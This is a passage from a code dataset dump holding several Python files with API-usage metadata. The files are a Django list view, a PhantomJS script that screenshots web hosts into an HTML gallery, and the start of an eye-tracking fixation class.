"name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 34, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 34, "usage_type": "name"}, {"api_name": "core.common.App.MENU_VIEW", "line_number": 34, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 34, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 35, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 35, "usage_type": "name"}, {"api_name": "core.common.App.MENU_FUNC", "line_number": 35, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 35, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 36, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 36, "usage_type": "name"}, {"api_name": "core.common.App.MENU_HELP", "line_number": 36, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 36, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 37, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 37, "usage_type": "name"}, {"api_name": "core.common.App.OPEN", "line_number": 37, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 37, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 38, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 38, "usage_type": "name"}, {"api_name": "core.common.App.OPEN", "line_number": 38, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 38, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 39, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 39, "usage_type": "name"}, {"api_name": "core.common.App.OPEN_DIR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 39, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 40, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 40, "usage_type": "name"}, {"api_name": "core.common.App.OPEN_DIR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 40, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 41, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 41, "usage_type": "name"}, {"api_name": "core.common.App.CLOSE", "line_number": 41, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 41, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 42, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 42, "usage_type": "name"}, {"api_name": "core.common.App.CLOSE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 42, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 43, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 43, "usage_type": "name"}, {"api_name": "core.common.App.CLOSE_ALL", "line_number": 43, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 43, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 44, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 44, "usage_type": "name"}, {"api_name": "core.common.App.CLOSE_ALL", "line_number": 44, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 44, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 45, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 45, "usage_type": "name"}, {"api_name": "core.common.App.EXIT", "line_number": 45, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 45, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 46, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 46, "usage_type": "name"}, {"api_name": "core.common.App.EXIT", "line_number": 46, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 46, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 47, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 47, "usage_type": "name"}, {"api_name": "core.common.App.TOOL_BAR", "line_number": 47, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 47, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 48, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 48, "usage_type": "name"}, {"api_name": "core.common.App.TOOL_BAR", "line_number": 48, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 48, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 49, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 49, "usage_type": "name"}, {"api_name": "core.common.App.FONT", "line_number": 49, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 49, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 50, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 50, "usage_type": "name"}, {"api_name": "core.common.App.FONT", "line_number": 50, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 50, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 51, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 51, "usage_type": "name"}, {"api_name": "core.common.App.LANG", "line_number": 51, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 51, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 52, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 52, "usage_type": "name"}, {"api_name": "core.common.App.FIND", "line_number": 52, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 52, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 53, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 53, "usage_type": "name"}, {"api_name": "core.common.App.FIND", "line_number": 53, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 53, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 54, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 54, "usage_type": "name"}, {"api_name": "core.common.App.FIND_DIR", "line_number": 54, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 54, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 55, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 55, "usage_type": "name"}, {"api_name": "core.common.App.FIND_DIR", "line_number": 55, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 55, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 56, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 56, "usage_type": "name"}, {"api_name": "core.common.App.CALC", "line_number": 56, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 56, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 57, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 57, "usage_type": "name"}, {"api_name": "core.common.App.HELP", "line_number": 57, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 57, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 60, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 60, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 72, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 73, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 73, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_OPEN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 76, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 77, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 77, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_OPEN_DIR", "line_number": 77, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 80, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 81, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 81, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_CLOSE", "line_number": 81, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 84, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 85, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 85, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_CLOSE_ALL", "line_number": 85, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 88, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 89, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 89, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_EXIT", "line_number": 89, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 93, "usage_type": "call"}, {"api_name": "core.common.config.ConfigsHolder.get", "line_number": 95, "usage_type": "call"}, {"api_name": "core.common.config.ConfigsHolder", "line_number": 95, "usage_type": "name"}, {"api_name": "core.common.App.TOOL_BAR", "line_number": 95, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 97, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMenu", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QActionGroup", "line_number": 99, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder.get_langs", "line_number": 100, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 101, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 102, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 102, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 106, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 106, "usage_type": "name"}, {"api_name": "core.common.App.LANG_TYPE", "line_number": 106, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 106, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 111, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 112, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 112, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_FIND", "line_number": 112, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 115, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 116, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 116, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_FIND_DIR", "line_number": 116, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 120, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder.get_by_id", "line_number": 121, "usage_type": "call"}, {"api_name": "res.resource.IconsHolder", "line_number": 121, "usage_type": "name"}, {"api_name": "res.resource.IconsHolder.ID_CALC", "line_number": 121, "usage_type": "attribute"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 123, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 123, "usage_type": "name"}, {"api_name": "core.common.App.CALC", "line_number": 123, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 123, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QActionGroup", "line_number": 126, "usage_type": "call"}, {"api_name": "core.highlight.theme.ThemesHolder.get_themes", "line_number": 128, "usage_type": "call"}, {"api_name": "core.highlight.theme.ThemesHolder", "line_number": 128, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 129, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 134, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 145, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 145, "usage_type": "name"}, {"api_name": "core.common.App.MENU_FILE", "line_number": 145, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 145, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 146, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 146, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 155, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 155, "usage_type": "name"}, {"api_name": "core.common.App.MENU_VIEW", "line_number": 155, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 155, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 156, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 156, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 161, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 161, "usage_type": "name"}, {"api_name": "core.common.App.MENU_FUNC", "line_number": 161, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 161, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 162, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 162, "usage_type": "name"}, {"api_name": "core.common.uilang.UILangHolder.get", "line_number": 167, "usage_type": "call"}, {"api_name": "core.common.uilang.UILangHolder", "line_number": 167, "usage_type": "name"}, {"api_name": "core.common.App.MENU_HELP", "line_number": 167, "usage_type": "attribute"}, {"api_name": "core.common.App", "line_number": 167, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 168, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 168, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 173, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 181, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDir.homePath", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDir", "line_number": 189, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 190, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QDir.homePath", "line_number": 194, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QDir", "line_number": 194, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.ShowDirsOnly", "line_number": 195, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.DontResolveSymlinks", "line_number": 195, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 196, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 196, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFontDialog.getFont", "line_number": 216, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFontDialog", "line_number": 216, "usage_type": "name"}, {"api_name": "core.common.config.FontHolder.get", "line_number": 216, "usage_type": "call"}, {"api_name": "core.common.config.FontHolder", "line_number": 216, "usage_type": "name"}]} {"seq_id": "17083379731", "text": "from django.views.generic import ListView\nfrom idea.service import IdeaService\n\nclass IdeasView(ListView):\n template_name = 'idea/ideas.html'\n context_object_name = 'latest_ideas'\n paginate_by = 8\n\n def get_context_data(self, **kwargs):\n '''\n This is how we can add extra data to the context when using\n a generic view. We are just adding the category id.\n '''\n context = super(IdeasView, self).get_context_data(**kwargs)\n context['category_id'] = self.kwargs['category_id']\n return context\n\n def get_queryset(self):\n '''\n Return a dictionnary of fields, it will not be objects.\n '''\n return IdeaService.get_ideas_by_category(\n self.kwargs['category_id']\n )\n", "repo_name": "hnb2/ideas", "sub_path": "ideas/idea/views/ideas.py", "file_name": "ideas.py", "file_ext": "py", "file_size_in_byte": 768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.generic.ListView", "line_number": 4, "usage_type": "name"}, {"api_name": "idea.service.IdeaService.get_ideas_by_category", "line_number": 22, "usage_type": "call"}, {"api_name": "idea.service.IdeaService", "line_number": 22, "usage_type": "name"}]} {"seq_id": "40495017255", "text": "from jinja2 import Environment, PackageLoader\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom optparse import OptionParser\nfrom multiprocessing import Process, Queue\nimport sys, os\ntry:\n import SocketServer\nexcept ImportError:\n import socketserver as SocketServer\ntry:\n import SimpleHTTPServer\nexcept ImportError:\n import http.server as SimpleHTTPServer\nfrom os import chdir\nfrom shutil import copyfile\nfrom requests import get\nfrom uuid import uuid4\nfrom selenium.common.exceptions import TimeoutException\n\nenv = Environment(autoescape=True, loader=PackageLoader('snapper', 'templates'))\n\ndef save_image(uri, file_name, driver):\n try:\n driver.get(uri)\n driver.save_screenshot(file_name)\n return True\n except TimeoutException:\n return False\n\n\ndef host_reachable(host, timeout):\n try:\n get(host, timeout=timeout, verify=False)\n return True\n except:\n return False\n\ndef host_worker(hostQueue, fileQueue, timeout, user_agent, verbose):\n dcap = dict(DesiredCapabilities.PHANTOMJS)\n dcap[\"phantomjs.page.settings.userAgent\"] = user_agent\n dcap[\"accept_untrusted_certs\"] = True\n driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true'], desired_capabilities=dcap) # or add to your PATH\n driver.set_window_size(1024, 768) # optional\n driver.set_page_load_timeout(timeout)\n while(not hostQueue.empty()):\n host = hostQueue.get()\n if not host.startswith(\"http://\") and not host.startswith(\"https://\"):\n host1 = \"http://\" + host\n host2 = \"https://\" + host\n filename1 = os.path.join(\"output\", \"images\", str(uuid4()) + \".png\")\n filename2 = os.path.join(\"output\", \"images\", str(uuid4()) + \".png\")\n if verbose:\n print(\"Fetching %s\" % host1)\n if host_reachable(host1, timeout) and save_image(host1, filename1, driver):\n fileQueue.put({host1: filename1})\n else:\n if verbose:\n print(\"%s is unreachable or timed out\" % host1)\n if verbose:\n print(\"Fetching %s\" % host2)\n if host_reachable(host2, timeout) and save_image(host2, filename2, driver):\n fileQueue.put({host2: filename2})\n else:\n if verbose:\n print(\"%s is unreachable or timed out\" % host2)\n else:\n filename = os.path.join(\"output\", \"images\", str(uuid4()) + \".png\")\n if verbose:\n print(\"Fetching %s\" % host)\n if host_reachable(host, timeout) and save_image(host, filename, driver):\n fileQueue.put({host: filename})\n else:\n if verbose:\n print(\"%s is unreachable or timed out\" % host)\n\ndef capture_snaps(hosts, outpath, timeout=10, serve=False, port=8000, \n verbose=True, numWorkers=1, user_agent=\"Mozilla/5.0 (Windows NT\\\n 6.1) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/41.0.2228.\\\n 0 Safari/537.36\"):\n outpath = os.path.join(outpath, \"output\")\n cssOutputPath = os.path.join(outpath, \"css\")\n jsOutputPath = os.path.join(outpath, \"js\")\n imagesOutputPath = os.path.join(outpath, \"images\")\n if not os.path.exists(outpath):\n os.makedirs(outpath)\n if not os.path.exists(imagesOutputPath):\n os.makedirs(imagesOutputPath)\n if not os.path.exists(cssOutputPath):\n os.makedirs(cssOutputPath)\n if not os.path.exists(jsOutputPath):\n os.makedirs(jsOutputPath)\n cssTemplatePath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"templates\", \"css\")\n jsTemplatePath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"templates\", \"js\")\n copyfile(os.path.join(cssTemplatePath, \"materialize.min.css\"), os.path.join(cssOutputPath, \"materialize.min.css\"))\n copyfile(os.path.join(jsTemplatePath, \"jquery.min.js\"), os.path.join(jsOutputPath, \"jquery.min.js\"))\n copyfile(os.path.join(jsTemplatePath, \"materialize.min.js\"), os.path.join(jsOutputPath, \"materialize.min.js\"))\n \n hostQueue = Queue()\n fileQueue = Queue()\n\n workers = []\n for host in hosts:\n hostQueue.put(host)\n for i in range(numWorkers):\n p = Process(target=host_worker, args=(hostQueue, fileQueue, timeout, user_agent, verbose))\n workers.append(p)\n p.start()\n try:\n for worker in workers:\n worker.join()\n except KeyboardInterrupt:\n for worker in workers:\n worker.terminate()\n worker.join()\n sys.exit()\n setsOfSix = []\n count = 0\n hosts = {}\n while(not fileQueue.empty()):\n if count == 6:\n try:\n setsOfSix.append(hosts.iteritems())\n except AttributeError:\n setsOfSix.append(hosts.items())\n hosts = {}\n count = 0\n temp = fileQueue.get()\n hosts.update(temp)\n try:\n setsOfSix.append(hosts.iteritems())\n except AttributeError:\n setsOfSix.append(hosts.items())\n template = env.get_template('index.html')\n with open(os.path.join(outpath, \"index.html\"), \"w\") as outputFile:\n outputFile.write(template.render(setsOfSix=setsOfSix))\n if serve:\n chdir(\"output\")\n Handler = SimpleHTTPServer.SimpleHTTPRequestHandler\n httpd = SocketServer.TCPServer((\"127.0.0.1\", PORT), Handler)\n print(\"Serving at port\", PORT)\n httpd.serve_forever()\n else:\n return True\n\nif __name__ == \"__main__\":\n parser = OptionParser()\n parser.add_option(\"-f\", \"--file\", action=\"store\", dest=\"filename\",\n help=\"Souce from input file\", metavar=\"FILE\")\n parser.add_option(\"-l\", \"--list\", action=\"store\", dest=\"list\",\n help=\"Source from commandline list\")\n parser.add_option(\"-u\", '--user-agent', action='store', \n dest=\"user_agent\", type=str, \n default=\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,\\\n like Gecko) Chrome/41.0.2228.0 Safari/537.36\", \n help='The user agent used for requests')\n parser.add_option(\"-c\", '--concurrency', action='store', \n dest=\"numWorkers\", type=int, default=1, \n help='Number of cuncurrent processes')\n parser.add_option(\"-t\", '--timeout', action='store', \n dest=\"timeout\", type=int, default=10, \n help='Number of seconds to try to resolve')\n parser.add_option(\"-p\", '--port', action='store', \n dest=\"port\", type=int, default=8000, \n help='Port to run server on')\n parser.add_option(\"-v\", action='store_true', dest=\"verbose\",\n help='Display console output for fetching each host')\n\n\n (options, args) = parser.parse_args()\n if options.filename:\n with open(options.filename, 'r') as inputFile:\n hosts = inputFile.readlines()\n hosts = map(lambda s: s.strip(), hosts)\n elif options.list:\n hosts = []\n for item in options.list.split(\",\"):\n hosts.append(item.strip())\n else:\n print(\"invalid args\")\n sys.exit()\n numWorkers = options.numWorkers\n timeout = options.timeout\n verbose = options.verbose\n PORT = options.port\n user_agent = options.user_agent\n\n capture_snaps(hosts, os.getcwd(), timeout, True, PORT, verbose,\n numWorkers, user_agent)\n\n\n", "repo_name": "dxa4481/Snapper", "sub_path": "snapper.py", "file_name": "snapper.py", "file_ext": "py", "file_size_in_byte": 7582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 293, "dataset": "github-code", "pt": "78", "api": [{"api_name": "jinja2.Environment", "line_number": 21, "usage_type": "call"}, {"api_name": "jinja2.PackageLoader", "line_number": 21, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.TimeoutException", "line_number": 28, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities.PHANTOMJS", "line_number": 40, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities", "line_number": 40, "usage_type": "name"}, {"api_name": "selenium.webdriver.PhantomJS", "line_number": 43, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 43, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 94, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue", "line_number": 99, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 100, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 106, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 138, "usage_type": "call"}, {"api_name": "http.server.SimpleHTTPRequestHandler", "line_number": 139, "usage_type": "attribute"}, {"api_name": "http.server", "line_number": 139, "usage_type": "name"}, {"api_name": "socketserver.TCPServer", "line_number": 140, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 147, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 181, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 188, "usage_type": "call"}]} {"seq_id": "12379949641", "text": "#!/usr/bin/env python\n\"\"\"This module implements additional tools for eye-tracking data.\n\nMost importantly, it houses some Factories to create fixation data\nand the compute_fdm method.\n\"\"\"\nfrom os.path import join\nfrom glob import glob\nimport h5py\n\nimport numpy as np\nfrom scipy.io import loadmat\nfrom scipy.ndimage.filters import gaussian_filter\n\nfrom .datamat import Datamat\n\nclass FixMat(Datamat):\n\n def add_feature_values(self, features):\n \"\"\"\n Adds feature values of feature 'feature' to all fixations in \n the calling fixmat.\n \n For fixations out of the image boundaries, NaNs are returned.\n The function generates a new attribute field named with the\n string in features that contains an np.array listing feature\n values for every fixation in the fixmat.\n \n .. note:: The calling fixmat must have been constructed with an \n stimuli.Categories object\n \n Parameters:\n features : string\n list of feature names for which feature values are extracted.\n \"\"\"\n if not 'x' in self.fieldnames():\n raise RuntimeError(\"\"\"add_feature_values expects to find\n (x,y) locations in self.x and self.y. But self.x does not exist\"\"\")\n \n if not self._categories:\n raise RuntimeError(\n '''\"%s\" does not exist as a fieldname and the\n fixmat does not have a Categories object (no features \n available. The fixmat has these fields: %s''' \\\n %(features, str(self._fields))) \n for feature in features:\n # initialize new field with NaNs\n feat_vals = np.zeros([len(self.x)]) * np.nan \n for (cat_mat, imgs) in self.by_cat():\n for img in np.unique(cat_mat.filenumber).astype(int):\n fmap = imgs[img][feature]\n on_image = (self.x >= 0) & (self.x <= self.image_size[1])\n on_image = on_image & (self.y >= 0) & (self.y <= self.image_size[0])\n idx = (self.category == imgs.category) & \\\n (self.filenumber == img) & \\\n (on_image.astype('bool'))\n feat_vals[idx] = fmap[self.y[idx].astype('int'), 